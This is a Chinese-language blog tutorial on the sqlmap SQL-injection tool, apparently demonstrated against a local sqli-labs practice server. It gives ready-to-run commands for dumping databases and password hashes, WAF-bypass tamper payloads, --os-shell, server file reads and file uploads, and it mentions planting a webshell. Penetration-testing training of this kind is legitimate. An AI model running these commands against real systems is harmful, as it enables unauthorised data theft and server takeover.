sqlmap

目录

Sqlmap

Sqlmap的简单用法

探测指定URL是否存在WAF,并且绕过

探测指定URL是否存在SQL注入漏洞

查看数据库的所有用户

查看数据库所有用户名的密码 

查看数据库当前用户 

判断当前用户是否有管理权限

列出数据库管理员角色

查看所有的数据库

查看当前的数据库

爆出指定数据库中的所有的表 

爆出指定数据库指定表中的所有的列

爆出指定数据库指定表指定列下的数据

爆出该网站数据库中的所有数据

Sqlmap的高级用法

指定脚本进行过滤

 探测等级和危险等级

伪造 Http Referer头部

执行指定的SQL语句

执行操作系统命令

从数据库中读取文件

上传文件到数据库服务器中

Sqlmap的更多用法


Sqlmap

sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等

Sqlmap采用了以下5种独特的SQL注入技术

  • 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
  • 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断
  • 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
  • 联合查询注入,在可以使用Union的情况下注入
  • 堆查询注入,可以同时执行多条语句时的注入

Sqlmap的强大的功能包括 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令。

sqlmap是一个跨平台的工具,很好用,是SQL注入方面一个强大的工具!

我们可以使用 -h 参数查看sqlmap的参数以及用法,sqlmap  -h

Sqlmap的简单用法


   
   
   
   
  1. sqlmap -r http.txt #http.txt是我们抓取的http的请求包
  2. sqlmap -r http.txt -p username #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测
  3. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" #探测该url是否存在漏洞
  4. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --cookie= "抓取的cookie" #当该网站需要登录时,探测该url是否存在漏洞
  5. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --data= "uname=admin&passwd=admin&submit=Submit" #抓取其post提交的数据填入
  6. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users #查看数据库的所有用户
  7. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords #查看数据库用户名的密码
  8. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user #查看数据库当前的用户
  9. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba #判断当前用户是否有管理员权限
  10. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles #列出数据库所有管理员角色
  11. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dbs #爆出所有的数据库
  12. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tables #爆出所有的数据表
  13. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --columns #爆出数据库中所有的列
  14. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-db #查看当前的数据库
  15. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表
  16. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的所有的列
  17. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username -- dump #爆出数据库security中的users表中的username列中的所有数据
  18. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -- dump-all #爆出数据库security中的users表中的所有数据
  19. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -- dump-all #爆出数据库security中的所有数据
  20. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -- dump-all #爆出该数据库中的所有数据
  21. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tamper=space2comment.py #指定脚本进行过滤,用/**/代替空格
  22. sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level= 5 --risk= 3 #探测等级5,平台危险等级3,都是最高级别
  23. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell #执行指定的sql语句
  24. sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell #执行--os-shell命令
  25. sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file- read "c:/test.txt" #读取目标服务器C盘下的test.txt文件
  26. sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file- write test.txt --file-dest "e:/hack.txt" #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt
  27. sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --dbms= "MySQL" #指定其数据库为mysql Firebird, HSQLDB, IBM DB2, Informix, Microsoft Access, Microsoft SQL Server, MySQL, Oracle, PostgreSQL, SAP MaxDB, SQLite, Sybase
  28. sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --random-agent #使用任意的User-Agent爆破
  29. sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --proxy= "127.0.0.1:8080" #指定代理
  30. sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --technique T #指定时间延迟注入
  31. -v3 输出详细度 最大值 5 会显示请求包和回复包
  32. --threads 5 指定线程数
  33. --fresh-queries 清除缓存
  34. --flush-session 刷新session
  35. --batch 对所有的交互式的都是默认的
  36. --random-agent 任意的http头
  37. --tamper base64encode 对提交的数据进行base64编码
  38. --keep-alive 保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request( s) 保错的时候,使用这个参数
  39. --technique=BE 这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式,当然,我们也可以直接手工指定。
  40. 支持的探测方式如下:
  41.   B: Boolean-based blind SQL injection(布尔型注入)
  42.   E: Error-based SQL injection(报错型注入)
  43.   U: UNION query SQL injection(可联合查询注入)
  44.   S: Stacked queries SQL injection(可多语句查询注入)
  45.   T: Time-based blind SQL injection(基于时间延迟注入)

探测指定URL是否存在WAF,并且绕过


   
   
   
   
  1. --identify-waf 检测是否有WAF(首选)
  2. --check-waf 检测是否有WAF(备选)
  3. #使用参数进行绕过
  4. --random-agent 使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候
  5. --time-sec=3 使用长的延时来避免触发WAF的机制,这方式比较耗时
  6. --hpp 使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上
  7. --proxy=100.100.100.100:8080 --proxy-cred=211:985 使用代理进行绕过
  8. --ignore-proxy 禁止使用系统的代理,直接连接进行注入
  9. --flush-session 清空会话,重构注入
  10. --hex 或者 --no-cast 进行字符码转换
  11. --mobile 对移动端的服务器进行注入
  12. --tor 匿名注入

探测指定URL是否存在SQL注入漏洞

对于不用登录的网站,直接指定其URL

sqlmap -u  "http://192.168.10.1/sqli/Less-1/?id=1"  #探测该url是否存在漏洞
   
   
   
   

在探测目标URL是否存在漏洞的过程中,Sqlmap会和我们进行交互。

比如第一处交互的地方是说这个目标系统的数据库好像是Mysql数据库,是否还探测其他类型的数据库。我们选择 n,就不探测其他类型的数据库了,因为我们已经知道目标系统是Mysql数据库了。

第二处交互的地方是说 对于剩下的测试,问我们是否想要使用扩展提供的级别(1)和风险(1)值的“MySQL”的所有测试吗? 我们选择 y。

第三处交互是说已经探测到参数id存在漏洞了,是否还探测其他地方,我们选择 n 不探测其他参数了 。

最后sqlmap就列出了参数id存在的注入类型是boolean盲注,还有payload其他信息也显示出来了,最后还列出了目标系统的版本,php,apache等信息。

这次探测的所有数据都被保存在了 /root/.sqlmap/output/192.168.10.1/ 目录下 

对于需要登录的网站,我们需要指定其cookie  。我们可以用账号密码登录,然后用抓包工具抓取其cookie填入

sqlmap -u  "http://192.168.10.1/sqli/Less-1/?id=1"   --cookie="抓取的cookie"  #探测该url是否存在漏洞
   
   
   
   

对于是post提交数据的URL,我们需要指定其data参数

sqlmap -u "http://192.168.10.1/sqli/Less-11/?id=1" --data="uname=admin&passwd=admin&submit=Submit"  #抓取其post提交的数据填入
   
   
   
   

我们也可以通过抓取 http 数据包保存为文件,然后指定该文件即可。这样,我们就可以不用指定其他参数,这对于需要登录的网站或者post提交数据的网站很方便。

我们抓取了一个post提交数据的数据包保存为post.txt,如下,uname参数和passwd参数存在SQL注入漏洞


   
   
   
   
  1. POST /sqli/Less- 11/ HTTP/ 1.1
  2. Host: 192.168. 10.1
  3. User-Agent: Mozilla/ 5.0 (Windows NT 10.0; WOW64; rv: 55.0) Gecko/ 20100101 Firefox/ 55.0
  4. Accept: text/html,application/xhtml+xml,application/xml; q= 0. 9,* /*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
  6. Content-Type: application/x-www-form-urlencoded
  7. Content-Length: 38
  8. Referer: http: // 192.168. 10.1/sqli/Less- 11/
  9. Connection: close
  10. Upgrade-Insecure-Requests: 1
  11. uname=admin&passwd=admin&submit=Submit

然后我们可以指定这个数据包进行探测

sqlmap -r post.txt        #探测post.txt文件中的http数据包是否存在sql注入漏洞
   
   
   
   

他也会和我们进行交互,询问我们,这里就不一一解释了 

可以看到,已经探测到 uname 参数存在漏洞了,问我们是否还想探测其他参数,我们选择的 y ,它检测到passwd也存在漏洞了,问我们是否还想探测其他参数,我们选择 n

然后会让我们选择,在后续的测试中,是选择 uname 这个参数还是passwd这个参数作为漏洞,随便选择一个就好了。

查看数据库的所有用户

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users #查看数据库的所有用户
   
   
   
   

 

查看数据库所有用户名的密码 

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords #查看数据库用户名的密码
   
   
   
   

第一处询问我们是否保存密码的hash值为文件,我们不保存。第二处问我们是否使用sqlmap自带的字典进行爆破,我们选择y,可以看出把密码爆破出来了,root用户的密码也为root。如果这里爆破不出来,我们可以拿hash值去字典更强大的地方爆破

查看数据库当前用户 

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user  #查看数据库当前的用户
   
   
   
   

判断当前用户是否有管理权限

查看当前账户是否为数据库管理员账户

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba  #判断当前用户是否有管理员权限
   
   
   
   

 

列出数据库管理员角色

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles   #列出数据库所有管理员角色
   
   
   
   

查看所有的数据库

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dbs 
   
   
   
   

查看当前的数据库

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-db #查看当前的数据库
   
   
   
   

爆出指定数据库中的所有的表 

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表
   
   
   
   

爆出指定数据库指定表中的所有的列

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns
   
   
   
   

爆出指定数据库指定表指定列下的数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump  #爆出数据库security中的users表中的username列中的所有数据
   
   
   
   

爆出该网站数据库中的所有数据


   
   
   
   
  1. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -- dump-all #爆出数据库security中的users表中的所有数据
  2. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -- dump-all #爆出数据库security中的所有数据
  3. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -- dump-all #爆出该数据库中的所有数据

Sqlmap的高级用法

指定脚本进行过滤

有些时候网站会过滤掉各种字符,可以用tamper来解决(对付某些waf时也有成效)


   
   
   
   
  1. sqlmap --tamper=space2comment.py #用/**/代替空格
  2. sqlmap --tamper= "space2comment.py,space2plus.py" 指定多个脚本进行过滤

 过滤脚本在目录:/usr/share/sqlmap/tamper

支持的数据库 编号 脚本名称 作用 实现方式 测试通过的数据库类型和版本
ALL 1 apostrophemask.py 用utf8代替引号 ("1 AND '1'='1") 
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' 
 
2 base64encode.py  用base64编码替换 ("1' AND SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='

 
 
3 multiplespaces.py 围绕SQL关键字添加多个空格 ('1 UNION SELECT foobar')
'1    UNION     SELECT   foobar'
 
4 space2plus.py 用+替换空格 ('SELECT id FROM users')
'SELECT+id+FROM+users'
 
5 nonrecursivereplacement.py 双重查询语句。取代predefined SQL关键字with表示 
suitable for替代(例如  .replace(“SELECT”、”")) filters
('1 UNION SELECT 2--')
'1 UNIOUNIONN SELESELECTCT 2--'
 
6 space2randomblank.py 代替空格字符(“”)从一个随机的空
白字符可选字符的有效集
('SELECT id FROM users')
'SELECT%0Did%0DFROM%0Ausers'
 
7 unionalltounion.py 替换UNION ALL SELECT UNION SELECT ('-1 UNION ALL SELECT')
'-1 UNION SELECT'
 
8 securesphere.py 追加特制的字符串 ('1 AND 1=1')
"1 AND 1=1 and '0having'='0having'"
 
MSSQL 1 space2hash.py 绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)
'1 AND 9227=9227' 
'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227' 
 
2 equaltolike.py like 代替等号
* Input: SELECT * FROM users WHERE id=1 
2 * Output: SELECT * FROM users WHERE id LIKE 1 
 
3 space2mssqlblank.py(mssql) 空格替换为其它空符号 Input: SELECT id FROM users
Output: SELECT%08id%02FROM%0Fusers
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005
4 space2mssqlhash.py 替换空格 ('1 AND 9227=9227')
'1%23%0AAND%23%0A9227=9227'
 
5 between.py 用between替换大于号(>) ('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
 
6 percentage.py asp允许每个字符前面添加一个%号 * Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

 
 
7 sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾 ('1 AND 9227=9227-- ')
'1 AND 9227=9227-- sp_password'
 
8 charencode.py url编码 * Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
 
9 randomcase.py 随机大小写 * Input: INSERT
* Output: InsERt
 
10 charunicodeencode.py 字符串 unicode 编码 * Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
 
11 space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’ * Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
 
MYSQL 1 equaltolike.py like 代替等号
* Input: SELECT * FROM users WHERE id=1 
2 * Output: SELECT * FROM users WHERE id LIKE 1 
 Microsoft SQL Server 2005

MySQL 4, 5.0 and 5.5
2 greatest.py 绕过过滤’>’ ,GREATEST替换大于号。 ('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
3 apostrophenullencode.py 绕过过滤双引号,替换字符和双引号。 tamper("1 AND '1'='1")

'1 AND %00%271%00%27=%00%271'
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
4 ifnull2ifisnull.py 绕过对 IFNULL 过滤。
替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’
('IFNULL(1, 2)')
'IF(ISNULL(1),2,1)'
* MySQL 5.0 and 5.5
5 space2mssqlhash.py 替换空格 ('1 AND 9227=9227')
'1%23%0AAND%23%0A9227=9227'
 
6 modsecurityversioned.py 过滤空格,包含完整的查询版本注释 ('1 AND 2>1--')
'1 /*!30874AND 2>1*/--'

 
* MySQL 5.0
7 space2mysqlblank.py 空格替换其它空白符号(mysql) Input: SELECT id FROM users
Output: SELECT%0Bid%0BFROM%A0users
* MySQL 5.1
8 between.py 用between替换大于号(>) ('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
9 modsecurityzeroversioned.py 包含了完整的查询与零版本注释 ('1 AND 2>1--')
'1 /*!00000AND 2>1*/--'

 
* MySQL 5.0
10 space2mysqldash.py 替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’) ('1 AND 9227=9227')
'1--%0AAND--%0A9227=9227'
 
11 bluecoat.py 代替空格字符后与一个有效的随机空白字符的SQL语句。
然后替换=为like
('SELECT id FROM users where id = 1')
'SELECT%09id FROM users where id LIKE 1'
* MySQL 5.1, SGOS
12 percentage.py asp允许每个字符前面添加一个%号 * Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

 
* Microsoft SQL Server 2000, 2005
* MySQL 5.1.56, 5.5.11
* PostgreSQL 9.0
13 charencode.py url编码 * Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
14 randomcase.py 随机大小写 * Input: INSERT
* Output: InsERt
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
15 versionedkeywords.py Encloses each non-function keyword with versioned MySQL comment * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
 
16 space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’ * Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
17 charunicodeencode.py 字符串 unicode 编码 * Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005
* MySQL 5.1.56
* PostgreSQL 9.0.3
18 versionedmorekeywords.py 注释绕过 * Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
 
MySQL < 5.1 19 halfversionedmorekeywords.py 关键字前加注释 * Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa
* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWa
* MySQL 4.0.18, 5.0.22
20 halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加
mysql版本评论
1.("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
2."value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
* MySQL 4.0.18, 5.0.22
MySQL >= 5.1.13 21 space2morehash.py 空格替换为 #号 以及更多随机字符串 换行符 * Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
MySQL 5.1.41
 Oracle 1 greatest.py 绕过过滤’>’ ,GREATEST替换大于号。 ('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
2 apostrophenullencode.py 绕过过滤双引号,替换字符和双引号。 tamper("1 AND '1'='1")

'1 AND %00%271%00%27=%00%271'
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
3 between.py 用between替换大于号(>) ('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
4 charencode.py url编码 * Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
5 randomcase.py 随机大小写 * Input: INSERT
* Output: InsERt
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
6 charunicodeencode.py 字符串 unicode 编码 * Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005
* MySQL 5.1.56
* PostgreSQL 9.0.3
7 space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’ * Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
 PostgreSQL 1 greatest.py 绕过过滤’>’ ,GREATEST替换大于号。 ('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
2 apostrophenullencode.py 绕过过滤双引号,替换字符和双引号。 tamper("1 AND '1'='1")

'1 AND %00%271%00%27=%00%271'
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
3 between.py 用between替换大于号(>) ('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
4 percentage.py asp允许每个字符前面添加一个%号 * Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

 
* Microsoft SQL Server 2000, 2005
* MySQL 5.1.56, 5.5.11
* PostgreSQL 9.0
5 charencode.py url编码 * Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
6 randomcase.py 随机大小写 * Input: INSERT
* Output: InsERt
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
7 charunicodeencode.py 字符串 unicode 编码 * Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005
* MySQL 5.1.56
* PostgreSQL 9.0.3
8 space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’ * Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Microsoft Access 1 appendnullbyte.py 在有效负荷结束位置加载零字节字符编码 ('1 AND 1=1')
'1 AND 1=1%00'

 
 
其他   chardoubleencode.py 双url编码(不处理以编码的) * Input: SELECT FIELD FROM%20TABLE
* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
 
  unmagicquotes.py 宽字符绕过 GPC  addslashes * Input: 1′ AND 1=1
* Output: 1%bf%27 AND 1=1–%20
 
  randomcomments.py 用/**/分割sql关键字 ‘INSERT’ becomes ‘IN//S//ERT’  

 探测等级和危险等级

Sqlmap一共有5个探测等级,默认是1。等级越高,说明探测时使用的payload也越多。其中5级的payload最多,会自动破解出cookie、XFF等头部注入。当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP  User-Agent/Referer头在level为3时就会测试。在不确定哪个参数为注入点时,为了保证准确性,建议设置level为5

sqlmap一共有3个危险等级,也就是说你认为这个网站存在几级的危险等级。和探测等级一个意思,在不确定的情况下,建议设置为3级,--risk=3

sqlmap使用的payload在目录:/usr/share/sqlmap/xml/payloads

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别
   
   
   
   

伪造 Http Referer头部

Sqlmap可以在请求中伪造HTTP中的referer,当探测等级为3或者3以上时,会尝试对referer注入,可以使用referer命令来欺骗,比如,我们伪造referer头为百度。可以这样

referer  http://www.baidu.com
   
   
   
   

执行指定的SQL语句

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell  #执行指定的sql语句
   
   
   
   

然后会提示我们输入要查询的SQL语句,注意这里的SQL语句最后不要有分号 

 

执行操作系统命令

在数据库为Mysql、PostgreSql或者SQL Server时,当满足下面三个条件,我们就可以执行操作系统命令

  • 网站必须是root权限
  • 攻击者需要知道网站的绝对路径
  • GPC为off,php主动转义的功能关闭
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell  #执行--os-shell命令
   
   
   
   

如果我们不知道网站的根目录的绝对路径的话,我们那里选择4 brute force search 暴力破解,尝试破解出根目录的绝对路径! 

从数据库中读取文件

当数据库为Mysql、PostgreSQL或SQL Server,并且当前用户有权限时,可以读取指定文件,可以是文本文件或者二进制文件。

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件
   
   
   
   

可以看到,文件读取成功了,并且保存成了 /root/.sqlmap/output/192.168.10.1/files/c__test.txt 文件

上传文件到数据库服务器中

当数据库为Mysql、Postgre SQL或者Sql Server,并且当前用户有权限使用特定的函数时,可以上传文件到数据库服务器。文件可以是文本,也可以是二进制文件。

所以利用上传文件,我们可以上传一句话木马或者上传shell上去。

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-write test.txt --file-dest "e:/hack.txt"  #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt
   
   
   
   

这里会问我们是否想验证上传成功,我们选择 y 的话,他就会读取该文件的大小,并且和本地的文件大小做比较,只要大于等于本地文件大小即说明上传功能了

Sqlmap的更多用法

除了上面这些用法外,Sqlmap还支持其他的用法,比如定义代理,探测的时候任意的User-Agent头部啊,当我们知道目标数据库类型的时候,直接指定其数据库类型,这样就不会测试其他类型的数据库了


   
   
   
   
  1. sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --dbms=mysql #指定其数据库为mysql
  2. sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --random-agent #使用任意的User-Agent爆破
  3. sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --proxy=PROXY #使用代理进行爆破
  4. -p username #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测

 

你可能感兴趣的:(#,SQL,数据库知识点)